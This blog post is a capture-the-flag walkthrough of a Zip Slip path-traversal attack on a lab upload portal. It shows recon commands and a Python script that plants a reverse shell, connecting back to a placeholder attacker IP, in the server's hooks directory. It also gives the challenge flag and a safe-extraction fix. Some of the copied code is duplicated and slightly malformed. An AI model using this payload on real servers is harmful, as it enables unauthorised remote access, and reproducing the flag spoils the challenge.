August 6, 2026
Hacker Holidays 2026: Day 10 Walkthrough (The Hollow Shell)
A file upload accepted ZIP archives but never validated the paths inside. We used Zip Slip to plant a reverse shell in the server’s hooks…

By Dhanush N
6 min read
A file upload accepted ZIP archives but never validated the paths inside. We used Zip Slip to plant a reverse shell in the server's hooks directory.
This is Day 10 of my Hacker Holidays 2026 walkthrough series. Today's challenge exploits one of the most elegant web vulnerabilities out there: Zip Slip. It is a path traversal attack that abuses how applications extract ZIP files, allowing an attacker to write arbitrary files to any location on the server.
The wordplay in this challenge is perfect. We upload a "shell" (a decorative souvenir package) and get back a "shell" (command-line access to the server).
The Setup
The Byte Lotus Resort has a "Shoreline Display" portal where guests can upload decorative shell packages (ZIP files containing display configurations) to personalise their in-room ambiance. Staff publish these through the portal.
The challenge hint is loaded with clues:
"Slip past what the portal forgets to check, and the shell answers with a shell of your own."
The word "slip" is a direct reference to Zip Slip. Let us get started.
Step 1: Reconnaissance
We begin with an nmap scan to identify services running on the target:
nmap -sC -sV TARGET_IPnmap -sC -sV TARGET_IPWhat the flags do:
-sCruns default NSE (Nmap Scripting Engine) scripts for service detection and vulnerability checks.-sVprobes open ports to determine the service version.
The scan reveals a web application running on port 5000. Key details from the output:
- Server: Gunicorn. This is a Python WSGI HTTP server, which tells us the application is likely built with Flask or Django.
- Location: /login. The server responds with a 302 redirect to a login page, meaning authentication is required.
Step 2: Find Credentials and Log In
Navigating to the login page, we inspect the page source. Hidden in the HTML, we find hardcoded credentials:
Username: concierge
Password: StayNoticed2024!Username: concierge
Password: StayNoticed2024!We log in and land on a dashboard with a file upload interface. The portal allows us to upload ZIP files containing "shell" display packages.
Step 3: Understand the Expected Format
Before attempting any exploitation, we need to understand what the application expects. We create a legitimate shell package to observe how the server processes it.
echo '{"name":"Calm Tide","version":"1.0.0","assets":[]}' > shell.json
zip shell.zip shell.jsonecho '{"name":"Calm Tide","version":"1.0.0","assets":[]}' > shell.json
zip shell.zip shell.jsonWhat these commands do:
- The first command creates a
shell.jsonfile with a simple JSON manifest describing the display package. - The
zipcommand packages it into a ZIP archive.
We upload shell.zip through the portal. The server extracts it successfully and displays the shell on the dashboard. The uploaded file becomes accessible at a URL like:
http://TARGET_IP:5000/shells/682fb227ca0e/shell.jsonhttp://TARGET_IP:5000/shells/682fb227ca0e/shell.jsonThe server extracts the ZIP contents into a sandboxed directory under /shells/. So far, everything works as expected.
Step 4: Identify the Attack Vector
The web page contains an important line: "A shell may include optional automation hooks."
This tells us that the server has a hooks/ directory where Python files can be placed. When certain events occur (like processing an upload), the server executes any Python files found in the hooks directory as part of a plugin-style extension mechanism.
Now here is the critical question: when the server extracts our ZIP file, does it validate the file paths inside the archive?
If the server blindly trusts the filenames stored in the ZIP and does not sanitize path traversal sequences (like ../../), we can craft a ZIP file where a file's path points outside the intended extraction directory and into the hooks/ directory.
This is the Zip Slip vulnerability.
Step 5: Understanding Zip Slip
A ZIP archive stores files along with their relative paths. Normally, a file inside a ZIP might have a path like shell.json or assets/background.png. The server extracts these into the designated upload directory.
But ZIP files can also store paths containing ../ (parent directory traversal). If a file inside the ZIP has the path ../../hooks/callback.py, the server will follow those directory traversals during extraction and write the file two directories above the upload folder, landing directly in the hooks/ directory.
Most ZIP creation tools strip ../ from paths for safety. But when we create a ZIP programmatically, we can insert any path we want.
Step 6: Craft the Malicious ZIP
We create a Python script that builds a ZIP file containing two entries:
- A legitimate
shell.jsonmanifest (so the upload does not get rejected). - A malicious
callback.pyfile with a path that traverses into thehooks/directory.
import zipfile, json
manifest = {"name": "reverse", "assets": []}
callback = ''
import socket, os, pty
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("YOUR_VPN_IP", 4444))
for fd in (0, 1, 2):
os.dup2(sock.fileno(), fd)
pty.spawn("/bin/bash")
'''
with zipfile.ZipFile("reverse-shell.zip", "w") as z:
z.writestr("shell.json", json.dumps(manifest))
z.writestr("../../hooks/callback.py", callback)import zipfile, json
manifest = {"name": "reverse", "assets": []}
callback = ''
import socket, os, pty
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("YOUR_VPN_IP", 4444))
for fd in (0, 1, 2):
os.dup2(sock.fileno(), fd)
pty.spawn("/bin/bash")
'''
with zipfile.ZipFile("reverse-shell.zip", "w") as z:
z.writestr("shell.json", json.dumps(manifest))
z.writestr("../../hooks/callback.py", callback)Breaking down the reverse shell payload:
socket.socket(socket.AF_INET, socket.SOCK_STREAM)creates a TCP socket.sock.connect(("YOUR_VPN_IP", 4444))connects back to our listening machine on port 4444.os.dup2(sock.fileno(), fd)redirects stdin (0), stdout (1) and stderr (2) to the socket. This means everything the shell reads and writes goes through our network connection.pty.spawn("/bin/bash")launches an interactive bash shell.
The critical line is ../../hooks/callback.py. When the server extracts this ZIP, it follows the ../../ traversal and writes callback.py directly into the server's hooks/ directory instead of the sandboxed upload folder.
Run the script to generate the malicious ZIP:
python3 exploit.pypython3 exploit.pyThis creates reverse-shell.zip containing our path-traversed payload.
Step 7: Set Up the Listener
Before uploading, we start a netcat listener on our attacking machine to catch the reverse shell:
nc -lvnp 4444nc -lvnp 4444Step 8: Upload and Trigger
We upload reverse-shell.zip through the Shoreline Display portal.
The server does the following:
- Receives the ZIP file.
- Extracts
shell.jsoninto the sandboxed upload directory (normal behavior). - Extracts
../../hooks/callback.pyand follows the path traversal, writing it into thehooks/directory (the vulnerability). - The server's hook mechanism detects the new Python file in
hooks/and executes it. - Our reverse shell payload runs, connecting back to our listener.
Our netcat listener catches the incoming connection. We now have an interactive shell on the server.
Step 9: Find the Flag
With shell access, we enumerate the file system:
ls /home/ls /home/We find a directory called roomservice. Navigating inside:
cd /home/roomservice
cat flag.txtcd /home/roomservice
cat flag.txtFlag captured:
THM{z1p_sl1pp3d_1nt0_a_sh3ll}THM{z1p_sl1pp3d_1nt0_a_sh3ll}Challenge complete.
Why Zip Slip is a Critical Vulnerability
Zip Slip was publicly disclosed in 2018 by the Snyk security research team, but the underlying issue has existed for decades. It affects any application that extracts ZIP (or TAR, JAR, WAR, etc.) archives without validating the internal file paths.
Real-world impact has been massive. The original Snyk disclosure found Zip Slip vulnerabilities in thousands of projects across multiple ecosystems including Java (Apache Commons, Spring, Maven), JavaScript (npm packages), .NET, Go and Ruby. Major enterprise software from companies like Google, Oracle, IBM and Amazon was affected.
The fix is straightforward but frequently overlooked:
import os
def safe_extract(zip_ref, extract_dir):
for member in zip_ref.namelist():
# Resolve the full path
target_path = os.path.realpath(
os.path.join(extract_dir, member)
)
# Verify it stays within the extraction directory
if not target_path.startswith(
os.path.realpath(extract_dir)
):
raise Exception(f"Path traversal detected: {member}")
zip_ref.extractall(extract_dir)import os
def safe_extract(zip_ref, extract_dir):
for member in zip_ref.namelist():
# Resolve the full path
target_path = os.path.realpath(
os.path.join(extract_dir, member)
)
# Verify it stays within the extraction directory
if not target_path.startswith(
os.path.realpath(extract_dir)
):
raise Exception(f"Path traversal detected: {member}")
zip_ref.extractall(extract_dir)The key defense is canonicalization: resolve the full path of every file in the archive and verify that it falls within the intended extraction directory before writing anything to disk.
The Answer
What is the flag?
THM{z1p_sl1pp3d_1nt0_a_sh3ll}
What is Next
Day 10 showed us that file upload vulnerabilities go far beyond just uploading a PHP webshell. When applications process archive formats, the internal file paths become an attack surface. A single unsanitized ../../ in a ZIP entry can give an attacker arbitrary write access to the entire filesystem.
Stay tuned for Day 11.
If this brought value then consider supporting or sponsoring. Follow the journey on X, Instagram ,Github or Youtube